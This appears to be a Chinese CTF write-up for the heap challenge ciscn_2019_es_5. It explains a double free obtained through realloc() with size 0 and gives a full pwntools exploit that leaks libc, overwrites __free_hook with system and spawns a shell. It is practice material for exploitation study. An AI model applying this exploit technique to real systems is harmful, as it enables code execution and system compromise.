realloc函数利用实现double free

例题 ciscn_2019_es_5

分析

realloc函数利用实现double free_第1张图片

保护全开,四个功能增删改查

ida

edit函数

realloc函数
realloc()的第二个参数为0可以实现将chunk free掉进入bin中,但是不会在全局chunk数组中删掉,可以实现double free,之后劫持free_hook即可

__int64 Edit()
{
  __int64 result; // rax
  signed int v1; // [rsp-1Ch] [rbp-1Ch]
  _QWORD *v2; // [rsp-18h] [rbp-18h]
  void *v3; // [rsp-10h] [rbp-10h]

  printf("Index:");
  v1 = read_int();
  if ( v1 < 0 || v1 > 9 )
  {
    puts("You want to steal the flag?");
    exit(0);
  }
  if ( flist[v1] )
  {
    v2 = flist[v1];
    if ( *(v2 + 3) )
    {
      --*(v2 + 3);
      v3 = realloc(*v2, *(v2 + 2));
      if ( v3 )
      {
        *v2 = v3;
        printf("New content:");
        secure_read(*v2, *(v2 + 2));
        puts("OK!");
      }
      else
      {
        puts("Can not edit this flag!");
      }
      result = 0LL;
    }
    else
    {
      puts("Dead!");
      result = 0LL;
    }
  }
  else
  {
    puts("None flag!");
    result = 0LL;
  }
  return result;
}

exp

# coding=utf-8
from pwn import  *
context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = remote('node4.buuoj.cn',25888) #连接远程程序
libc = ELF("/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#sh = process("./ciscn_2019_es_5") 
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims		        :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
        pause()
def add(size,content):
    sla('Your choice:','1')
    sla('size?>',str(size))
    sla('content:',content)
def free(index):
    sla('Your choice:','4')
    sla('Index:',str(index))
def edit(index):
    sla('Your choice:','2')
    sla('Index:',str(index))
def show(index):
    sla('Your choice:','3')
    sa('Index:',str(index))
add(0x500,b'aaa')#0
add(0x20,b'/bin/sh\x00')#1
free(0)
add(0,b'')#0
show(0)
ru('Content: ')
libc_base = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-0x3ec0d0
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
lg('libc_base',libc_base)
add(0,b'aa')#2
add(0x30,b'bb')#3
edit(0)
free(0)
add(0x10,p64(free_hook))#0
add(0x10,p64(system))#4
free(1)
itr()

你可能感兴趣的:(BUUCTF,堆利用,pwn,linux,c语言,安全,python)